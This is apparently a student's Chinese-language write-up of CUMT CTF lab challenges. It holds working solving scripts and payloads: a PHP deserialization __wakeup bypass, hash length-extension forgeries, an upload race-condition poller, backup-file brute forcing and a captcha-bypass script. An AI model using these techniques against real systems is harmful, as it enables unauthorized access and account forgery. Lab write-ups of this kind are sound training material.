CUMT平台的部分题解

前言

最近在上网路安全实验课程的时候,其中一个任务就是完成这里面的题目,我还是记录一下吧,,到时候补充到实验报告里面

basic部分

decode

这个题目下载之后是一个压缩包,但是里面什么东西也没有,于是放进HXD里面查看是否有其他的东西,打开发现十六进制编码,用Hackbar解码得到flag
ilTbin.md.png
ilTLR0.md.png

白驹过隙

题目的意思是说快,打开页面就会发现错过了flag之类的操作,肯定是存在跳转,老题目要么就抓包,要么就curl一下,这里我选择用vps来curl一下这个网址,直接出flag
ilTjMT.md.png

齐白石

这尼玛我感觉这是异形。。关齐白石什么事。。。根据提示先把图片在16进制编辑器打开看一下
,拉到最后一行发现flag
ilTvsU.md.png

encode

打开文件会发现一堆混淆,怀疑是js混淆,然后放进火狐的js调试器里面直接执行就出现flag了
ilTxLF.md.png

DNS解析

这个题目就是考了Windows下面的一个DNS解析的hosts文件,其实这是个历史遗留问题,就是每次要去经过DNS解析的时候都会默认先去找一下这个host文件里面的相关域名所对应的ip就会免去查上层DNS服务器里面的东西,所以我们只要在hosts文件下面添加,这一行,然后输入题目对应的的域名即可
host文件的目录:C:\Windows\System32\drivers\etc\hosts

il7pdJ.md.png
il79o9.md.png

forfun2

这题也是骚气,我他喵一直查看源代码都没找到,结果我在原网页上点击了查看背景图片,就出现flag了受不了。。。这题有点坑。。以前都没试过网网页图片上隐藏信息想。。。。
il7PiR.md.png

forfun

这个题目就是一直右击查看源代码,找到flag为止,flag在其中的这个页面下如图
il7iJ1.md.png
进去之后用ctrl+f找到对应的flag
il7FRx.md.png

签到1

打开题目让我们check the source code !!,点击右键查看源代码发现一段base64,解码得到flag{this_is_so_easy_is_it?}
il7EQK.md.png

签到2

打开网站发现http header!!!
然后F12去看看http头部的信息,发现flag
il7VsO.png

超简单的密码

这一个题目很明显的提示,注意看键盘很显然这是个键盘密码,从键盘上翻译一下就好得到
flag{isee}

滑稽

下载下来是一个ppt,ppt里面没发现些什么,但是这个东西是需要解密的
然后放到16进制编辑器里面看一下发现有zip包的文件头,于是就开始把这个文件后缀改为zip打开
il7ndH.png

在里面找到一个很奇怪的图片文件,其余的图片都能显示就他不能,放进16进制编辑器看一下发现ppt的base64加密的密码,解开之后就是ppt密码cumt2017ctf
il7uod.md.png
再把文件后缀改为ppt,输入密码,移动一下ppt就发现flag了
il7MFA.md.png

Fast 30

这明显就是一个脚本题,叫你2s内post你发现的东西,可以在http header里面发现有个flag选项想必就是把这个东西给post上去,参数是key,下面是我写的脚本
il7QJI.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8


import requests

url = 'http://web.bxsteam.xyz/fast/'
req = requests.Session()

ans = req.get(url)

param = ans.headers['Flag']

flag = req.post(url,data={'key':param})

print flag.content

得到flag
il78Qf.png

web

源代码

这个题目是查找页面的元素,打开之后发现一段可疑的信息其实就是把里面的中文字体去掉就是flag
il7Gy8.md.png

colorSnake

这个题目还是很有意思的,虽然要写个脚本当然你也可以手动去执行。。。这个进去就是一个小游戏,点击右键查看源码后发现显示分数的地方id是score,查看他的源代码发现还存在一个game.js的代码脚本,于是立即在里面搜关于score的信息
然后发现了这样的一段代码,同时发现一个很可疑的php代码,这里面有个xhr,介绍一下xhr,xhr叫XMLHttpRequest ,XMLHttpRequest 对象提供了对 HTTP 协议的完全的访问,包括做出 POST 和 HEAD 请求以及普通的 GET 请求的能力。XMLHttpRequest 可以同步或异步地返回 Web 服务器的响应,并且能够以文本或者一个 DOM 文档的形式返回内容。
il7NwQ.md.png

也就是去访问这个页面的功能,我也去访问,发现有json格式的东西,把里面的msg部分的内容unicode解码,发现提示,这么久才吃到一个,零分!可以猜到应该是用这个去访问页面去增加得分,每刷新一下这个页面发现score加一了,但是刷新的太快又会重新置0,所以我就写了个小脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8


import requests
import json
import time

url = 'http://202.119.201.199/challenge/web/colorSnake/getScore.php'
req = requests.Session()

for i in range(0,55): #怕会出现重新置零的现象,因此设置的数比50大
time.sleep(1) #用于延时
ans = req.get(url)
msg = json.loads(ans.content)['msg']
print json.loads(ans.content)['score'],msg.encode('utf-8')

最后得到flag
il7dFs.png

备份

备份这个题目感觉也是一个脚本题目,一进去题目就提示There are too much baks in the website ,can you find the flag in these baks?,说明我们要遍历多个bak文件并且读取里面的内容。。。只要get请求就能下在相关bak文件了
il7DS0.md.png
直接放上我写的脚本。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8

import requests


url = "http://202.119.201.199/challenge/web/code/{num}.bak"
res = requests.Session()



for i in range(0,1500): #开大点无所谓
payload = url.format(num=i)
#print payload
ans = res.get(payload)
file_name = '{_}.bak'.format(_=i)
#print file_name
with open(file_name, "wb") as code:
file_content = code.write(ans.content)
code.close()
print file_name
f = open(file_name,'rb')
read_content = f.read()
if 'flag' in read_content:
print read_content
break
else:
print 'Waiting!!!!!'
f.close()

结果应该是第998个bak文件里面有flag
il7gw4.png

上传一

打开页面让我们上传图片文件,尝试用bp抓包发包
发现
il72TJ.png
所以就是让我们上一个可执行的文件,那就尝试把后缀名改名为php,然后就得到两个flag了,这太水了吧,这题还送一个flag。。。。上传二也秒掉了
il7Wk9.md.png

上传二

其实也是上传一的页面,这个题目其实想要修改的是Content-Type:这个参数,由于我上一题是直接上传一个图片上去的,这样一来就导致直接出来两个flag,这题只要是Content-Type: image/jpeg这个类型就可以出flag,如果一开始你上传一上传的不是图片的话,而是一般的文件流的话们这里的Content-Type显示的是application/stream之类的东西,就不会两个flag出来的
il7hf1.png

页面请求以管理员身份进行登录,尝试用bp抓包查看
把包里面cookie里面的值改一下,一开始是guest,我们改成admin,发包
得到下面这个页面
il7Il6.png
有个key还有个密文,猜测是应该是维吉尼亚密码,把该网页中的图片拖到百度识图识别一下,果然是维吉尼亚。。。
il7o6K.md.png

然后我们可以在线解密,我们可以去这个页面 http://ctf.ssleye.com/vigenere.html 进行维吉尼亚密码解密
得到flag
il7TOO.md.png

上传三

这个题目属于条件竞争的题目
具体来讲就是在文件上传之后你要赶在服务器把它删除之前访问一下这个文件就可以了
这个题目抓包的时候又在相应的php文件后缀进行了过滤,把php,php2,php3,php4,php5等都过滤掉了,直到试到phtml的时候回显出来一句话
il7b0e.md.png
这时候我们就发现文件被删了
这题可以单纯用bp直接刷,但是我还是喜欢用脚本刷,可以直接出flag,bp只能看到返回的长度不好辨别
我使用bp+脚本刷的,bp上面开个无payload的爆破一直发同样的包,然后脚本一直运行就可以得到flag了

il7Okd.md.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
# Author:0verWatch
# coding:utf-8

import requests

url = 'http://202.119.201.199/challenge/web/uploadfile/upload/index.phtml'

req = requests.Session()

while True:
ans = req.get(url)
web_content = ans.content

if 'flag' in web_content:
print web_content

听说你会面向对象

先把源代码贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
//flag in flag.php
class Admin{
public $file = 'flag.php';
public function __construct($f)
{
$this->file = $f;
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
if (stripos($this->file,'flag')+1){
echo 'dangerrous';
$this->file = 'index.php';
}
}
public function __destruct()
{
var_dump($this->file);
var_dump(file_exists($this->file));
// TODO: Implement __destruct() method.
if (!strpos($this->file,'/')&&!strpos($this->file,'\\')){
highlight_file($this->file);
}else
die('你想干嘛');
}
}

if ($_GET['data']){
@unserialize($_GET['data']);
}else{
highlight_file('index.php');
}
?>

打开可以发现函数,这个题目考查的是反序列化的知识,这题的关键就是我们需要利用unserialize构造一个对应的类型的序列化然后去绕过wakeup函数从而利用__destruct()输出flag,绕过wakeup很简单只需要我们把对象里面的的变量个数改为跟原来的不一样就好,我们可以写一个代码构造这个序列了

1
2
3
4
5
6
7
8
<?php
class Admin{
public $file = 'flag.php';
}

$a = new Admin();

echo serialize($a);

把输出的变量个数改为2即可
il7XtA.md.png
也就是
O:5:"Admin":2:{s:4:"file";s:8:"flag.php";}

il7z1P.md.png

自动获取flag程序

这个题目本来意思就是想要你修改一下代码,我们那可以右键去看一下,发现有一段js代码,是通过ajax来发起请求的,发现第一部分是通过get方式访问param1.php然后以json格式的数据传参给calParam2,然后去求flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 请求参数一
$("#a").click(function(){
$.ajax({
url:'param1.php',
method:'get',
dataType:'json',
success:calParam2
})
});
function calParam2(d){
var data=JSON.parse((d.param));
var length=data.length;
var second=new Date().getSeconds();
var sum=0;
for (var i = 1; i < length; i++) {
for (var j = 0; j < length/2; j++) {
sum+=parseInt(data[i])*second + data[j];
}
}
// 请求flag
$.ajax({
url:'http://new.ctf.param.com/aram2.php?sum='+sum,
method:'get',
dataType:'json',
success:function(s){
alert(s.f);
},
error:function(s){
alert('错了');
}
})
}

分析代码后我们可以发现这里面请求flag的部分明显url就错了,这尼玛根本就不同域了,一般出题人肯定不会这样搞的,根据第一个url把第二个url改为参数为param的url:param2.php?param='+sum,
当我们访问一下param1.php这个页面的时候发现是一堆url编码

1
{"param":"%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C%228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}

但是在计算的这一部分功能里面上来直接就JSON.parse,这是一个对json格式解码的函数,但是我们第一个页面里面的东西是经过url编码过的,直接json格式解码肯定是不行的的。会报错的。
i8pukt.md.png
所以我们得先用unescape解码,然后放进控制台里面跑一下就得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function calParam2(d){
d.param = unescape(d.param);
var data=JSON.parse((d.param));
var length=data.length;
var second=new Date().getSeconds();
var sum=0;
for (var i = 1; i < length; i++) {
for (var j = 0; j < length/2; j++) {
sum+=parseInt(data[i])*second + data[j];
}
}
// 请求flag
$.ajax({
url:'param2.php?param='+sum,
method:'get',
dataType:'json',
success:function(s){
alert(s.f);
},
error:function(s){
alert('错了');
}
})
}

phpmywind

这个题目个考察的是phpmywind5.3的漏洞了
上网搜一波,发现大概存在两个漏洞前台sql注入及后台任意文件遍历
但是由于题目说flag从数据库里面找,那就肯定是注入的漏洞,但是这个题目有问题,直接flag就给出来了,有毛病。。。。
i8plp8.png
然后尝试复现一下,发现这学校搭的平台参数好像都不一样。。。。自己搭的平台是可以复现的。。。。。。
详细可以参考一下 这篇文章
我们直接用报错注入就可以了

is hash safe??

这题考的是hash长度拓展攻击
一开始抓包把cookie里面的role改为admin,发包一看还是没有反应,题目说有东西漏了,那么肯定是有备份文件,尝试phps,php~无果后尝试.swp出现代码了
我们可以用vim -r命令去回复备份文件vim -r admin.php.swp
出现源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$auth = false;
$role = "guest";
$salt ="xxxxxxxxxxxxx";//len:13
if (isset($_COOKIE["role"]))
{
$role = $_COOKIE["role"];
$hsh = $_COOKIE["hsh"];
if (stripos($role,"admin")!==false&&$hsh === md5($salt.$_COOKIE["role"]))
{
$auth = true;
}
else
{
$auth = false;
}
}
else
{
$s = $role;
setcookie('role',$s);
$hsh = md5($salt.$s);
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin.Your flag is cumtctf{you_know_this_is_not_the_flag}";
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

我们可用hashpump这个工具来伪造admin的身份,记得要把数据URL编码一下

1
2
3
4
5
6
7
root@kali:~# hashpump
Input Signature: c70ab9d039f166c5b5f506a5698ebaa1
Input Data: guest
Input Key Length: 13
Input Data to Add: admin
37d0fe2c401a689be9608e9f850ef3de
guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00admin

发包即可得到flag
i8p0pT.md.png

可以看一下我以前的文章

logic

这个题目个人感觉有脑洞,这个题目一上来抓包啥的都没有什么提示,就连题目需要的token也没找着,然后在查看源代码的时候才用脑洞发现的信息
i8pat0.md.png
这里的meta的信息在对解题起了关键的作用,发现是vim编辑器编辑的,难么可能就有备份文件,尝试一下上一题的swp文件,果然有代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

关键绕过的代码是这一部分

1
2
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');

我们了需要构造token等于0并且长度等于10,而且还要知道admin的邮箱

这又需要脑洞了,我们又可以从meta信息里面得到admin是chenyurui,邮箱是gmail,自己够早一波邮箱地址 就是`chenyurui@gmail.com,然后token输入0000000000`就可以得到flag了

淘金

这个题在抢钱的时候就会输出一个验证码让你输入,在5秒之内如果没输入正确的验证码就不能抢,如果输入正确的话就会访问一个dorob.php的页面,我们现在的方法就相当于直接跳过验证码检验的这一步直接访问这个页面就会直接达到抢劫的目的,但是一定得在5秒以内,不然是抢不到的,这就相当于编写代码的人没对验证码进行严格的限制从而导致逻辑错误。。
这个过程我们可以不断对那个页面发包,然后抢劫某一个人的金币即可,就会发现很明显回显异样
i8Q5nA.md.png

然后我们可以模拟这个过程即可,写了个脚本,就从前面三个最有钱的人里面抢吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# coding:utf-8


import requests
import time

url = 'http://202.119.201.199/challenge/web/robber/rob.php?id=109'
url_rob = 'http://202.119.201.199/challenge/web/robber/dorob.php'
url2 = 'http://202.119.201.199/challenge/web/robber/rob.php?id=103'
url3 = 'http://202.119.201.199/challenge/web/robber/rob.php?id=58'

headers ={
'Referer': 'http://202.119.201.199/challenge/web/robber/rob.php?id=109',
'Content-Type': 'application/x-www-form-urlencoded',
'Host': '202.119.201.199',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Upgrade-Insecure-Requests': '1'
}


cookies = {
'PHPSESSID':'kupr8ubqffdcpsstn21mp6bhv0',
'ssid':'ef260780a098d5fcb1185bca69db366d'
}

data = {
'user':'EddieIvan',
'num':'1'
}
data2 ={
'user':'altman',
'num':'1'
}
data3 = {
'user':'小明',
'num':'1'
}

for i in range(1000):
ans1 = requests.get(url,cookies=cookies)
ans2 = requests.post(url_rob,data=data,cookies=cookies,headers=headers)
ans1 = requests.get(url2,cookies=cookies)
ans2 = requests.post(url_rob,data=data2,cookies=cookies,headers=headers)
ans1 = requests.get(url3,cookies=cookies)
ans2 = requests.post(url_rob,data=data3,cookies=cookies,headers=headers)
time.sleep(4.7)
print 'Waiting'

当你的金币高于1000的时候就可以点击购买flag的那个页面就可以了得到flag了

Misc

LSB

这个题目考察的是对LSB这个东西的熟悉程度。我们用神器StegSolve来看一下里面究竟最低位里面藏了什么东西
可以看到在最低位的那一部分发现了一张图片保存发现是一张二维码
ilHS6f.md.jpg
扫一扫就可以得到flag了
ilHpX8.jpg

爱因斯坦

在属性里面发现了这样的一句话
ilHCnS.jpg
不管先有没有用先记录一下
然后去kali里面把这个图片binwalk一下发现里面存在一个压缩包,把他分离出来
ilHi7Q.md.jpg

然后打开里面的压缩包,发现加密了,这正好想起刚才的那一串文字,然后输入进去发现可以解开并得到flag
ilHkkj.md.jpg

视而不见

这个题目也是应用了StegSolve这个工具,因为一开始发现这张图片好像是被拉伸了一样,所以果断放进去
利用里面的stereogram Solver在偏移量为104的时候就出现flag了
ilHEhn.md.jpg

easy crypto

这个题目有两个文件,先把其中的摩斯密码给解密得到另一串字符串
keyisvigenerecipher
这就相当于给了我们提示维吉尼亚密码
然后我们就去在线网页上解码,而且给出了key是vigenerecipher然后我们用那一串密文尝试解密得到flag
ilHZpq.md.jpg

我就想试试这个名字到底能够起多长

这个题目也要用到StegSolve,毕竟这东西在图片隐写里面经常使用
跟上面有一题很类似的操作也是去看看最低位隐藏了什么信息
然后可以发喜那里面放了一个压缩包保存下来打开就好
ilHe10.md.jpg
在kali里面打开并使用strings命令查看有哪些可见字符,发现flag
ilHnXT.jpg

你的石锅拌饭

这一个题目偏脑洞,因为题目说了有培根这东西,从而可以联想到培根密码,这里面的正体代表的是A,斜体代表的是B,以此推出密文为下面的一串东西,ABAAAABABBABBBABABABAABAABAABAAABBAAAAABAABAB
因为题目说了密文是大写,因此这里我们全都是大写,然后在线解密就可以得到flag了
ilHKnU.jpg

鲨鱼的套路

这个题目一打开协议分析里面发现tcp流量特别多
ilHMBF.md.png

过滤tcp流量看一下,然后追踪tcp流看一下,发现有一段base64解码发现存在pk头,导出来另存为压缩包
ilH1AJ.md.png

ilHJ91.md.png
然后发现压缩包有加密
于是打开看一下是否是伪加密,当然这里我们可以根据这个压缩包文件里面看到的文件名的提示,从16进编辑器中看到很明显全局没有加密,说明肯定是伪加密,我们只需要把09改为00即可
ilHcgP.md.png

得到flag
ilHNjK.png

萌萌哒

这个题目就是考察几种不同的编码方式而已
首先是js混淆,我们直接放进控制台跑一下就发现另外的一个文件
ilHBAH.png
然后进去之后发现是一堆brainfuck编码
去这个网站解码一下
http://tool.bugku.com/brainfuck/
得到另外的一个经过Ook编码的的东西,再解码一下
ilHr4A.md.png
得到flag
ilH63t.png

shark

同样的操作用wireshark先分析一下协议,发现ftp协议特别多,然后追踪一波ftp
ilHRu8.md.png

然后再追踪tcp流发现这里面是利用user账户登录ftp并且密码是
ilH4EQ.png
而且还在下面发现他下载了一个flag的压缩包,然后我们再过滤一下ftp-data,把数据流给保存起来,又发现这个压缩包是加密的,这次发现这个压缩包不是伪加密了,因为全局加密位是奇数,所以是肯定是需要密码的
ilbe5d.jpg

尝试在包里面搜索关键字password没找到,只能尝试ftp登录密码,果然把文件给解压出了,但是放在HXD中查看有点异常因为里面存在IDHR这样的东西,明显是png图片的内容,文件却没有png文件的头部,找个png文件对比一下,发现头部果然被修改
正常是这样的
ilHbvV.png
但现在是这样的
ilHLuT.png
只需要修改几位即可,最后得开图片文件获得flag
ilHXbF.md.png

学姐真美

根据提示发现应该是在图片里面做了手脚
用HXD打开一下,发现文件头部还在,但是发现后面一大堆东西东西都是00很奇怪,然后搜索一下jpg文件尾FFD9
发现了在jpg文件尾后面还存在这一个png图片的IHDR这东西可能后面是一个png图片,试着尝试把它抠出来对比一下真正的png文件另存为看一下是什么
ilHvE4.md.png

把这一段改为正常的png文件头
ilHxUJ.png

发现是一个不完整的二维码,这牵扯到了图片的高度问题,在png里面的话IHDR后面的16位的东西就是分别改长和宽的,每组8位,把这一位改为FF
ilHz59.png
然后记得到完整的二维码了。扫码就可以得到flag
ilbpCR.png

魂斗罗

这个游戏你有两种玩法,第一种就是你自己凭本事过关,第二张就是作弊,然后在网上找作弊,输入金手指,我输入的金手指
ilbCgx.md.png
一关关下来就可以看到flag了
ilbFKK.png
注意下flag的格式

据说是一个签到题目

Wireshark打开协议分级,发现TCP下的data数据包十分之多,过滤一波看看,然后追踪流发现一段python代码,而且还在下方发现一段base64的代码
i8p2A1.md.png
i8pRtx.md.png

看一下代码发现加密解密函数都给你了,直接把flag里面的信息解码之后放进代码里面跑一下就可以直接出flag了,前提是要将密文base64解码一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# coding:utf-8


from Crypto import Random
from Crypto.Cipher import AES

import sys
import base64


def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])


# def encrypt(message, passphrase):
# IV = message[:16]
# length = 16
# count = len(message)
# padding = length - (count % length)
# message = message + '\0' * padding
# aes = AES.new(passphrase, AES.MODE_CBC, IV)
# return aes.encrypt(message)


IV = 'YUFHJKVWEASDGQDH'

# message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'

flag = 'mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA=='

# print len(message)

# example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
# print example
ans = base64.b64decode(flag)
example = decrypt(ans, 'Qq4wdrhhyEWe4qBF')
print example

大家来找茬

这个题目考了两个点,一个是binwalk分离图片出来,另外就是两个图片做各种运算,又得用到StegSolve,这种类型的题目最近的网鼎杯好像也有,反正套路就那样
先放进去binwalk检测一下发现有两张图,分离出来即可
i8Qbh8.md.png
foremost diff.png -o 文件夹名字 分离出来
然后利用StegSolveImage Combiner功能对两张图片进行到sub运算的时候就有一张二维码
i8QO1g.png

扫一下就可以得到flag

md5

这个题目又是MD5长度拓展攻击,如果对原理不太熟悉的人坑做这个题目的时候还是有点卡顿的,建议大家上网自己搜搜学习一下,接着用神器hsahpump来完成这题就好,我这里用的输入是cyr,毕竟原来的题目把这个cyr的MD5已经给出来了,我们也好构造hash长度拓展攻击

1
2
3
4
5
6
Input Signature: 4dbe35eaea655b0a2b0d06391175b8a3
Input Data: cyr
Input Key Length: 16
Input Data to Add: abc
d233e1c6060cc4af248ad189eda145fc
cyr\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98\x00\x00\x00\x00\x00\x00\x00abc

记得要把输入的16进制哟个空格隔开
我的payload
63 79 72 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 00 00 00 00 00 00 00 61 62 63
输入的hash值
d233e1c6060cc4af248ad189eda145fc
这就可以输出flag了

猜猜看

这个题目提示了用j开头的软件对图片进行了相关的隐写,猜测是jphide,
然后取出对应的工具jphide来把里面的内容给取出来,发现需要密码
i8Qxns.md.png
再去看看题目发现说你要的是flag哦,可能密码就是flag试一下,会出现一段二进制编码
解码一下发现是一个base64的图片
i8lS7q.md.png
然后保存放进HTML页面里就可以得到一张二维码,最后扫一下即可
i8l9A0.png

PS Master

这个题目完全就是一个ps的题目
首先用HXD打开发现是一个GIF图片我们可以用ps打开发现里面的图层有一张二维码,先把他保存起来,然后对其进行修改,用快速选择工具将它右上角的狗给选择下,然后右键选择黑色去填充
FmGPxS.png

然后ctrl + j复制图层然后ctrl + t自由变换把这块覆盖左上角,同理覆盖 左下角
ctrl + r标尺对齐然后从上面的尺子往下拖,从左边的往右拖,会有淡蓝色的参考系,这样就能够对齐啦
FmGFKg.md.png
扫一下即可得到flag

code

这个题目考的是仿射密码,直接爆破key就好了,直接上脚本

1
2
3
4
5
6
7
8
9
encode = 'joqtgyvlmcqivvvvmmmmzzzzcccciiiijjjjoooossssqqqqmmmm'
flag = ''
for key1 in range(0,30):
for key2 in range(0,30):
for k in encode:
flag += chr((key1 * (ord(k)-97) + key2 ) % 26 + 97);
if 'flag' in flag:
print flag
flag = ''

Reverse

Gift

这个题目意思很明确叫你用Jeb打开,但是上网搜了很久最后找到了个很古老版本的Jeb打开,里面有一个flag,直接打开那个文件即可看见flag
FmGnP0.md.png
但是个人觉得另外一个安卓逆向工具Android Killer更好用。。。。。也能看到flag


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
  2. 2. basic部分
    1. 2.0.1. decode
    2. 2.0.2. 白驹过隙
    3. 2.0.3. 齐白石
    4. 2.0.4. encode
    5. 2.0.5. DNS解析
    6. 2.0.6. forfun2
    7. 2.0.7. forfun
    8. 2.0.8. 签到1
    9. 2.0.9. 签到2
    10. 2.0.10. 超简单的密码
    11. 2.0.11. 滑稽
    12. 2.0.12. Fast 30
  • 3. web
    1. 3.0.1. 源代码
    2. 3.0.2. colorSnake
    3. 3.0.3. 备份
    4. 3.0.4. 上传一
    5. 3.0.5. 上传二
    6. 3.0.6. Cookie?
    7. 3.0.7. 上传三
    8. 3.0.8. 听说你会面向对象
    9. 3.0.9. 自动获取flag程序
    10. 3.0.10. phpmywind
    11. 3.0.11. is hash safe??
    12. 3.0.12. logic
    13. 3.0.13. 淘金
  • 4. Misc
    1. 4.0.1. LSB
    2. 4.0.2. 爱因斯坦
    3. 4.0.3. 视而不见
    4. 4.0.4. easy crypto
    5. 4.0.5. 我就想试试这个名字到底能够起多长
    6. 4.0.6. 你的石锅拌饭
    7. 4.0.7. 鲨鱼的套路
    8. 4.0.8. 萌萌哒
    9. 4.0.9. shark
    10. 4.0.10. 学姐真美
    11. 4.0.11. 魂斗罗
    12. 4.0.12. 据说是一个签到题目
    13. 4.0.13. 大家来找茬
    14. 4.0.14. md5
    15. 4.0.15. 猜猜看
    16. 4.0.16. PS Master
    17. 4.0.17. code
  • 5. Reverse
    1. 5.0.1. Gift